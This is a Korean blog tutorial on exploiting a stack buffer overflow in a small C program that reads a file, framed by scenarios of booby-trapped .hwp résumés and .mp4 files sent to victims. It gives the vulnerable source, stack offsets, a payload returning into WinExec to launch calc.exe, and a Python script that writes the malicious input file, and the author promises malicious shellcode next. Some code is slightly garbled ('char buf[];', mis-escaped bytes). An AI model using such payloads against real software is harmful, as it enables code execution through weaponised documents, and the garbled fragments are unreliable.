Try Attack/Reverse Engineering[basic]

파일을 입력받는 프로그램의 취약점분석 및 공격

D4tai1 2019. 11. 12.

어느새

Exploit을 작성하기 좋은 계절?인 겨울이

다가왔습니다.

 

Exploit을 작성할 생각에

벌써 설레지만 이론부터 볼까요?

 

[그림1] 소프트웨어의 취약점을 이용하는 모습

위 그림에 대해서 간단히 설명을 드리겠습니다.

시나리오 1)

인사담당자들 혹은 이력서와 같이 hwp확장자의 파일을 메일로 보내면?

이력서.hwp를 다운받고 더블클릭을 합니다.

이력서.hwp는 한글프로그램을 실행키면서 자신을 입력으로 넣습니다.

만약 이력서.hwp가 한글프로그램에 대한 payload이고?

확장자만 hwp라면? 어떨까요?

 

시나리오 2)

파일공유 사이트에 많은 사람들이 흥미로워 할만한 파일명으로 올린다.

.mp4 등을 실행시키면 레지스트리에 등록된

플레이어가 실행되고 동영상파일이 입력으로 들어가겠죠.

이것도 확장자만 mp4이고

실제로는 플레이어의 취약점에 대한 공격코드가 들어가 있다면?

 

cmd를 실행시킬 것이고 그 후에는 악성코드를 다운받고 실행시키는 행위를 하겠죠?

이 정도 추측은 봐도 비디오 안봐도 비디오지요..

 

#include <stdio.h>
#include <string.h>
#include <errno.h>

int get_filesize(FILE *fp){
    int filesize;

    fseek(fp, 0, SEEK_END);	//파일의 끝으로 파일포인터 이동 
    filesize = ftell(fp);		//파일포인터 위치확인
    fseek(fp, 0, SEEK_SET);	//파일의 처음으로 파일포인터 이동

    return filesize;		//파일 사이즈 반환
}
int main()
{
    FILE *fp;	//파일포인터 생성
    // [ebp-4]

    int input_number;
    // [ebp-8]

    char buf[];	
    // [ebp-110]

    int filesize;	//파일 사이즈
    // [ebp-114]

    printf("1) print read[test.txt]\n");
    printf("2) print filesize[test.txt]\n");
    printf("Number > ");

    scanf("%d", &input_number);

    fp = fopen("test.txt", "rb");	//파일을 바이너리 읽기모드로 열음
    filesize = get_filesize(fp);	//파일 사이즈를 얻어옴

    if (filesize == -1) {	//열지 못했으면?
        return 0;
    }

    if (input_number != 1) {
        printf("filesize : %d\n", filesize);
        return 0;
    }

    fread(buf, filesize, 1, fp);	//buf에 파일사이즈만큼 1번 읽음
    //bof를 하려면 0x110 + SFP + RET

    buf[filesize] = 0x00;	//파일사이즈위치에 널바이트로 채음

    fclose(fp);   //파일포인터 해제

    if (input_number == 1) {
       printf("%s\n", buf);	//파일에서 얻어온 내용 출력
    }

    return 0;
}

[test.txt파일을 읽는 프로그램의 C소스]

 

[그림1] test.txt파일을 읽는 프로그램

참고 : 40131B의 주소의 함수가 종료되고 EIP는 401320을 가리킵니다. 

참고2 : 노란 박스부분은 401210의 함수 내부입니다.

 

이 프로그램에 대한 설명을 먼저 드리면?

1과 2중에 하나를 입력받습니다.

1이라면 test.txt의 내용을 읽어서 출력해주고

2라면 test.txt의 파일사이즈를 출력해줍니다.

 

그러면 이 프로그램에 대한 payload을 작성해 보겠습니다.

처음에는 Exploit이라고 했지만 생각해보니

실행은 프로그램이 알아서 시키니까

거기에 예쁘게 피팅되도록 payload를 작성하면 되겠죠?

 

payload을 작성하려고 하니

자세히 보아야 예쁘다.

오래 보아야 사랑스럽다.

입력받는 fread도 그렇다.

나태주 시인의 풀꽃이 생각이 납니다.

 

다른 곳은 몰라도 payload를 작성할

fread부분을 오래 / 자세히 보아 볼까요~?

 

[그림2] fread(buf, filesize, 1, fp);

여기서보면 fread는 test.txt의 파일포인터인 fp로부터

buf에 filesize만큼 1번 읽어온다는 것을 알 수 있습니다.

 

그렇다면 payload를 그려볼까요?

[ebp-0x110]부터 채워 넣기 때문에

0x110[272byte] + EBP[4byte] + RET[4byte] 

와 같이 작성하면 return address를 변조해서

원하는 장소로 이동할 수 있겠네요.

 

그 러 나 !!

정상적으로 실행되지 않습니다.

 이유는?

[그림3] fread 실행 이후

fread가 실행된 이 후

fclose(fp); 과

if(input_number == 1) 을

하는 모습이 보이네요?

 

즉, [ebp-4]는 fp가 들어있어야 fclose가 실행되고,

[ebp-8]은 scanf로 부터 입력받은 숫자 1이 있어야 하고요.

 

payload를 다시 작성해 보겠습니다.

payload = "\x41"*264 + "\x01\x00\x00\x00" + fp[4byte] + "\x00\x00\x00\x00" + 실행시킬 곳의 주소

 

여기서 fp는 fopen이후 eax에 있는 내용을 확인했다가 적어주어야 합니다.

그런데 fp는 pc마다 다를텐데.. "알아서 얻어올 방법은 없을까?" 라는 고민정도는

해봐야 합니다.

그렇다면 fclose함수를 분석해 보아야겠죠?

이렇게 되면 일이 너무 커지기 때문에

요약한 팁을 알려드리죠!!

fclose함수를 실행 시 argument로 fp를 제대로 넣지 않으면

비정상적으로 종료하게 됩니다.

 

그러나 fp에 0을 넣으면 예외처리로

Exception이 발생하고 그 부분의 내용이 실행되며

이후 프로그램은 종료되지 않습니다.

 

대부분의 C함수는 이러한 구조를 가지고 있답니다.

 

 

어쨋든 다시 돌아와서 

payload = "\x41"*264 + "\x01\x00\x00\x00" + "\x00\x00\x00\x00"

+ "\x00\x00\x00\x00" + WinExec()

 

실행시킬 주소는 기왕이면 WinExec()주소를 넣어보았습니다.

 

[그림4] WinExec주소 찾는 방법

WinExec()의 주소는 대부분의 디버거 프로그램에서

[Ctrl + G]를 누르고 WinExec를 검색하면 찾을 수 있습니다.

 

WinExec()의 주소는 PC마다 dll이 로드되는 Base Address가 다르기 때문에 

여러분의 PC에서 확인한 주소를 입력하셔야 합니다.

 

 

[그림5] WinExec의 원형

첫 번째 파라미터는 실행할 명령어를 문자열상수타입으로 입력을 받고

두 번째 파라미터는 부호없는정수타입으로 입력을 받네요.

 

[그림6] 두 번째 파라미터에 대한 Value정보

[그림5]와 [그림6]은 msdn에서 가져왔습니다.

저는 눈으로 확인을 해보기 위해 창을 띄우고 디스플레이하는 SW_SHOW(5)를 넣어 보겠습니다.

 

[그림7] payload를 작성할 stack의 모습

주소는 보기 쉽도록 996번지를 기준으로 잡았습니다.

 

[그림7]을 참고해서 최종 payload를 작성 후 프로그램 실행 시

계산기를 띄워보도록 하겠습니다.

payload = "\x41"*264 + "\x01\x00\x00\x00" + "\x00\x00\x00\x00"

+ "\x00\x00\x00\x00" + "\xc0\x37\0e\x76" + "\x00\x00\x00\x00" + "\x24xff\x40\x02" + "\x05\x00\x00\x00" + "calc.exe\x00"

"\x24xff\x40\x02"는 "calc.exe\x00"이 있는 문자열의 주소를 의미합니다.

즉, 문자열을 뒤에 넣어주고 그 주소를 가리키지요.

 

fp = open('test.txt', 'wb') 
  
payload = b'\x41'*264 + b'\x01\x00\x00\x00' + b'\x00\x00\x00\x00' + b'AAAA' 
payload += b'\xc0\x37\x0e\x76' + b'\x00\x00\x00\x00' + b'\x24\xff\x40\x02' + b'\x01\x00\x00\x00' 
payload += b'calc.exe\x00' 
  
fp.write(payload) 
fp.close

 메모장에서는 hex값으로 작성할 수 없으니

hxd나 python으로 작성하였습니다.

 

https://www.youtube.com/watch?v=FLFf7ELBykI

[영상1] payload를 이용한 계산기 띄우기 및 PC종료

 

WinExec의 주소를 지금은 직접 얻어왔기 때문에 

내 PC에서 밖에 돌아가지 않지만

다음엔 WinExec의 주소를 얻어와서 악성행위를 하는

Shellcode를 작성해보도록 하겠습니다.

'Try Attack > Reverse Engineering[basic]' 카테고리의 다른 글

main함수 위치를 찾는방법  (0) 2020.03.02
PE 파일 포맷  (0) 2020.01.21
Virtual address  (0) 2019.07.12
위장 악성코드를 실행하는 방법  (0) 2019.05.31
MFC_reversing  (0) 2019.05.26

댓글